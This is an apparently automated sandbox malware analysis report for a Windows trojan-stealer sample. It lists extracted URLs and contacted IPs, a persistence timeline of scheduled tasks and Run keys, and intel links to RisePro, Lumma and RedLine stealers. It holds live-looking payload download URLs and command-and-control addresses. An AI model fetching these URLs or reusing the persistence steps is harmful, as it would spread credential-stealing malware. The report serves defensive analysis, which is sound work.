https://meet.crazyfigs.top/Z	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.203/dl.phpL	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/irfailAt	FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	false		high
https://st6-23.vk.com/dist/web/chunks/vkui.847cc706.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://palberryslicker.sbs:80/lander/File_294/setup294.exe;	qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://st6-23.vk.com/dist/web/ui_common.20074c02.css	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://carthewasher.net/fbdd1d2f6f7fd732cbea599f111537fe/cad54ba5b01423b1af8ec10ab5719d97.exe	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://carthewasher.net/	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse	unknown
https://monoblocked.com/	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse	unknown
https://cdn.ampproject.org	qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.core.usgovcloudapi.netGODEBUG	EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2776004100.00007FF6359C9000.00000002.00000001.01000000.0000000B.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse	unknown
https://monoblocked.com/525403/setup.exe	qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
https://bitbucket.org/gs	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/A	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://c.574859385.xyz/b	qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://st6-23.vk.com/dist/web/css_types.1bff1a5b.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.security.us.panasonic.com	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		high
https://t.me/risepro_bot.52nia	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://vk.com:80/doc5294803_668771194?hash=7dzZFNgNMhFnf8UKhZ88SSJWzznhZJIEKWOI1nQNlbw&dl=jwd31UuZg	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F0E000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/IsAliveT	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		unknown
https://cdn.syndication.twimg.com	qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_boteriSign	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.vk.com	qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://securepubads.g.doubleclick.net	qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://vk.ru	qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.core.chinacloudapi.cnchacha20poly1305:	EWdN3bvBjxAbF1GyzHE7_p73.exe, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2776004100.00007FF6359C9000.00000002.00000001.01000000.0000000B.sdmp	false		unknown
https://palberryslicker.sbs/lander/File_294/setup294.exeS	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0	FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	false		high
https://vk.com/doc5294803_668771194?hash=7dzZFNgNMhFnf8UKhZ88SSJWzznhZJIEKWOI1nQNlbw&dl=jwd31UuZgmzf	qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://d136azpfpnge1l.cloudfront.net/;	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.253/lumma1504.exe0	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199673019888	FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	false		high
http://5.42.66.10/download/th/getimage16.php.php	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://st6-23.vk.com/dist/web/chunks/vkcom-kit-icons.826b9222.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.us/scalar	EWdN3bvBjxAbF1GyzHE7_p73.exe	false		unknown
https://connect.facebook.net	qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_bot	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
http://5.42.66.10/download/th/retail.php16.php	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/StopT	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.233.132.139	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
34.117.186.192	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
85.192.56.26	unknown	Russian Federation	12695	DINET-ASRU	false
37.221.125.202	unknown	Lithuania	62416	PTSERVIDORPT	false
18.205.93.1	unknown	United States	14618	AMAZON-AESUS	false
104.21.82.182	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.5.15	unknown	United States	13335	CLOUDFLARENETUS	false
193.233.132.253	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
87.240.132.72	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
172.67.132.113	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.169.146	unknown	United States	13335	CLOUDFLARENETUS	false
95.142.206.0	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.2	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
147.45.47.93	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
5.42.65.50	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
95.142.206.1	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
184.30.122.179	unknown	United States	16625	AKAMAI-ASUS	false
104.21.63.150	unknown	United States	13335	CLOUDFLARENETUS	false
102.53.9.151	unknown	Morocco	6713	IAM-ASMA	true
172.67.207.236	unknown	United States	13335	CLOUDFLARENETUS	false
190.12.87.61	unknown	Peru	27843	OPTICALTECHNOLOGIESSACPE	false
37.27.87.155	unknown	Iran (ISLAMIC Republic Of)	39232	UNINETAZ	false
185.172.128.203	unknown	Russian Federation	50916	NADYMSS-ASRU	false
193.233.132.226	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.132.207	unknown	United States	13335	CLOUDFLARENETUS	false
185.172.128.23	unknown	Russian Federation	50916	NADYMSS-ASRU	true
172.67.75.163	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.180.119	unknown	United States	13335	CLOUDFLARENETUS	false
5.42.66.10	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
52.216.33.65	unknown	United States	16509	AMAZON-02US	false
45.130.41.108	unknown	Russian Federation	198610	BEGET-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429030
Start date and time:	2024-04-20 05:47:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	qk9TaBBxh8.exe renamed because original name is a hash value
Original Sample Name:	cb4118382e3f97f0db04938a4e31e3e1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@286/417@0/31
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Execution Graph export aborted for target EWdN3bvBjxAbF1GyzHE7_p73.exe, PID 4540 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
05:47:54	API Interceptor	18x Sleep call for process: qk9TaBBxh8.exe modified
05:48:28	API Interceptor	1x Sleep call for process: nRGT2oA3F8V3EBSM6dmMTrGw.exe modified
05:48:33	API Interceptor	6x Sleep call for process: tXlQ3NLbQqxBkFS_TfaDHWX4.exe modified
05:48:33	API Interceptor	1x Sleep call for process: bKj5ORDxbqgwdZav4hyONQmM.exe modified
05:48:35	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
05:48:38	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
05:48:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
05:48:39	API Interceptor	1226x Sleep call for process: explorer.exe modified
05:48:43	API Interceptor	48x Sleep call for process: RegAsm.exe modified
05:48:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
05:49:14	API Interceptor	1379x Sleep call for process: 70Leo0eE867BJ4vm1aky3Uk3.exe modified
05:49:18	Task Scheduler	Run new task: Firefox Default Browser Agent D9A740C159784434 path: C:\Users\user\AppData\Roaming\btswgej
05:49:18	Task Scheduler	Run new task: MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR path: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
05:49:19	Task Scheduler	Run new task: MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c LG path: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
05:49:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe
05:49:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.233.132.139	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	193.233.132.139/silno/download.php
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
85.192.56.26	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	85.192.56.26/api/flash.php
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26/api/flash.php
	5NlNJIHhTf.exe	Get hash	malicious	Unknown	Browse	85.192.56.26/api/flash.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PTSERVIDORPT	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	37.221.125.202
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	37.221.125.202
	https://jornaleconomico.pt	Get hash	malicious	Unknown	Browse	185.32.188.231
	https://bestmigration.com.au/sls/As.htm	Get hash	malicious	Unknown	Browse	185.32.189.194
	6NuC4OT0LS.exe	Get hash	malicious	Unknown	Browse	185.32.190.113
	3nbHp9kVxm.exe	Get hash	malicious	Unknown	Browse	185.32.190.113
	duPuDjP64m.exe	Get hash	malicious	SmokeLoader	Browse	185.32.190.113
	S.M.EXProjectXAppilication.xls	Get hash	malicious	SmokeLoader	Browse	185.32.190.113
	Factura.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.32.189.185
	Factura.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.32.189.185
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
